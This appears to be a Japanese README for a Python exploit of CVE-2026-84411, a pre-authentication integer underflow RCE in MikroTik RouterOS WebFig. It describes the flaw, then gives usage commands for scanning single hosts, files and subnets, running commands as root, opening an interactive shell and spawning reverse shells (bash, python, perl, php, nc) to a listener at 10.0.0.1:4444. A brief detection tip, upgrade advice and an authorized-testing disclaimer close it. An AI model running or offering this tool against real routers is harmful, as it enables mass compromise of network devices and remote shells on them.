
CVE-2026-84411 の Python エクスプロイト。MikroTik RouterOS WebFig における認証前の整数アンダーフローを悪用して RCE を可能にし、スキャン、コマンド実行、リバースシェルを備えています。
CVE-2026-84411 は、MikroTik RouterOS における重大な認証前リモートコード実行(RCE)脆弱性です。
| 項目 | 値 |
|---|---|
| CVSS v3 | 9.8(重大) |
| CWE | CWE-191: 整数アンダーフロー |
| 攻撃ベクター | ネットワーク |
| 認証 | 不要(認証前) |
| 影響 | root としての完全な RCE / DoS |
| 影響を受けるバージョン | RouterOS < 7.24 |
| 修正済み | RouterOS 7.24+ |
Web 管理サービス(WebFig、TCP/80 および TCP/443 で待ち受け)の HTTP リクエストボディ処理に 整数アンダーフロー が存在します。ログインせずに送信される、特別に細工された単一の HTTP リクエストによって、サービスをクラッシュさせたり、完全な権限で任意のコード実行を可能にしたりすることができます。
このアンダーフローは、パーサーが不十分な検証でボディ長を計算する際に発生し、値がゼロ未満にラップして非常に大きな符号なし整数へとアンダーフローすることを許します。この破損した長さを信頼するメモリ操作(コピー、割り当て、境界チェック)は、その後壊滅的な動作を引き起こします。
# 1. Quick scan
python3 cve-2026-84411.py -t http://192.168.88.1
# 2. Full exploit check
python3 cve-2026-84411.py -t http://192.168.88.1 --check
# 3. Execute a command
python3 cve-2026-84411.py -t http://192.168.88.1 --cmd "/system identity print"
# 4. Interactive shell
python3 cve-2026-84411.py -t http://192.168.88.1 --interactive
# 5. Reverse shell
python3 cve-2026-84411.py -t http://192.168.88.1 --shell 10.0.0.1 4444
# 6. Scan multiple targets from file
python3 cve-2026-84411.py -i targets.txt
# 7. Scan a subnet
python3 cve-2026-84411.py --range 192.168.88.0/24
# 8. List available reverse shell types
python3 cve-2026-84411.py --list-shells
usage: cve-2026-84411.py [-h] [-t TARGET] [-i INPUT_FILE] [--range CIDR]
[--check] [--shell LHOST LPORT] [--cmd COMMAND]
[--interactive] [--list-shells]
[--lhost LHOST] [--lport LPORT] [-v]
[--timeout TIMEOUT] [--no-color]
CVE-2026-84411 — MikroTik RouterOS WebFig Integer Underflow Exploit
options:
-h, --help show this help message
-t, --target TARGET Target URL or host (e.g., http://192.168.88.1)
-i, --input INPUT_FILE
File with targets (one per line)
--range CIDR IP range to scan (CIDR notation)
--check Run full exploit check
--shell LHOST LPORT Spawn reverse shell
--cmd COMMAND Execute single command
--interactive Interactive shell session
--list-shells List available reverse shell types
--lhost LHOST Listener host for reverse shell
--lport LPORT Listener port for reverse shell
-v, --verbose Verbose output
--timeout TIMEOUT Request timeout in seconds (default: 10)
--no-color Disable ANSI colours
このツールは4つの検出手法を使用します:
Content-Length を指定して POST を送信Content-Length 値を送信してアンダーフローを引き起こすContent-Length と一致する非常に大きなボディを送信| 種類 | コマンド |
|---|---|
bash | 標準的な bash リバースシェル |
python | Python 2 リバースシェル |
python3 | Python 3 リバースシェル |
perl | Perl リバースシェル |
php | PHP リバースシェル |
nc | Netcat リバースシェル |
targets.txt — 1行につき1つのターゲット:
http://192.168.88.1
https://10.0.0.1
192.168.1.100
https://router.example.com
最も信頼性の高いシグナルは、既知の管理ホスト以外の送信元から RouterOS の Web 管理ポート(TCP/80、TCP/443)への接続が発生した場合です。
Sigma ルールについては Security Arsenal のブログ記事を参照してください: https://securityarsenal.com/blog/cve-2026-84411-mikrotik-routeros-pre-auth-integer-underflow-detection-and-remediation-guide
RouterOS 7.24 以降にアップデートしてください。
許可されたセキュリティテスト専用です。
Gagaltotal666 / GhostGTR666 による Go PoC を基にした Python 移植版です。